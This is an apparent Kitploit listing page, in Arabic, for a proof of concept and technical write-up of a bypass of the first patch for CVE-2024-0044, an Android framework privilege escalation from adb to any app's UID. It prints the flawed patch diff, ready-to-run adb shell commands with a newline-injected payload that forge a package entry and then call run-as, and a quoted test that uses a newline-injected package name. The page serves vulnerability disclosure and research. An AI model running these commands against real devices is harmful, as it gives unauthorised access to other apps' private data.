Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-0044 — إثبات المفهوم والتقرير الفني لتجاوز التصحيح الأولي لثغرة CVE-2024-0044، وهي ثغرة في إطار عمل أندرويد تتيح تصعيد الامتيازات من ADB إلى UID لأي تطبيق عبر حقن اسم حزمة المثبّت. | Kitploit
أدوات/GitHubGitHub/canyie/cve-2024-0044
أمان أندرويدتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالأمن الجوالالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHubcanyie/cve-2024-0044

CVE-2024-0044

إثبات المفهوم والتقرير الفني لتجاوز التصحيح الأولي لثغرة CVE-2024-0044، وهي ثغرة في إطار عمل أندرويد تتيح تصعيد الامتيازات من ADB إلى UID لأي تطبيق عبر حقن اسم حزمة المثبّت.

عرض المستودع
180298منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-0044/A-307532206 هي ثغرة أمنية عالية الخطورة في إطار عمل Android تسمح للمهاجمين الذين لديهم وصول adb بتشغيل كود عشوائي تحت UID لأي تطبيق. تم اكتشافها أصلاً بواسطة Tom Hebb من فريق Meta Red Team X. يمكنك العثور على العديد من المقالات حول استغلال هذه الثغرة على الإنترنت مثل هذه وهذه. لمزيد من المعلومات، تحقق من هذه المدونة: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

التصحيح لهذه الثغرة مضمّن في نشرة أمان Android لشهر مارس 2024، لكنني الآن توصلت إلى استغلال يتجاوز التصحيح. التصحيح الجديد مضمّن في نشرة أمان Android لشهر أكتوبر 2024 تحت نفس معرف CVE-2024-0044. أجهزة Android 12-13 التي تحتوي على مستوى تصحيح أمان قبل 2024-10-01 معرضة لهذه المشكلة.

يحتوي هذا المستودع على PoC قابل للتكرار بأقل جهد وملخص.

ما الخطأ في التصحيح الأصلي؟

أضاف التصحيح التحقق من صحة اسم حزمة المثبت (installer package name) الذي تم تمريره إلى PackageManagerService:

diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

يمكنك رؤية أن params.installerPackageName سيتم إعادة تعيينه إلى null إذا لم يكن اسم حزمة Android قانونيًا. ومع ذلك، في السطر التالي، يمكن أن يصبح requestedInstallerPackageName هو installerPackageName عندما يكون params.installerPackageName فارغًا أو غير صالح.

ما هو installerPackageName؟

دعنا نلقي نظرة على طريقة createSessionInternal، حيث تمت إضافة التصحيح:

    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

يمكنك رؤية أن installerPackageName هو وسيطة منفصلة لا تأتي من param. التصحيح الأصلي تحقق من params.installerPackageName، لكنه نسي التحقق من installerPackageName.

إعادة الإنتاج

يمكنك فقط استخدام كود الاستغلال الأصلي من مدونة Tom Hebb لإعادة إنتاجه. هذا المستودع يحتوي أيضًا على PoC قابل للتكرار بأقل جهد. إذا كنت تريد اختبار PoC الخاص بي، فقط قم ببنائه، وادفع apk الناتج إلى /data/local/tmp/poc.apk، ثم قم بتشغيل الكود التالي مع adb shell:

APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

استبدل <victim uid> بـ UID للتطبيق الضحية.

إذا كنت تريد لعب اللعبة مرة أخرى، قم بتشغيل adb uninstall top.canyie.cve_2024_0044 وأعد تشغيل الكود أعلاه.

كيف حدث ذلك مرتين؟

يبدو الأمر واضحًا، كيف نجا من أنظار الجميع؟

حسنًا، قامت Google بإضافة اختبار لهذه المشكلة لضمان إصلاحها:

            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);
تنزيل الأداة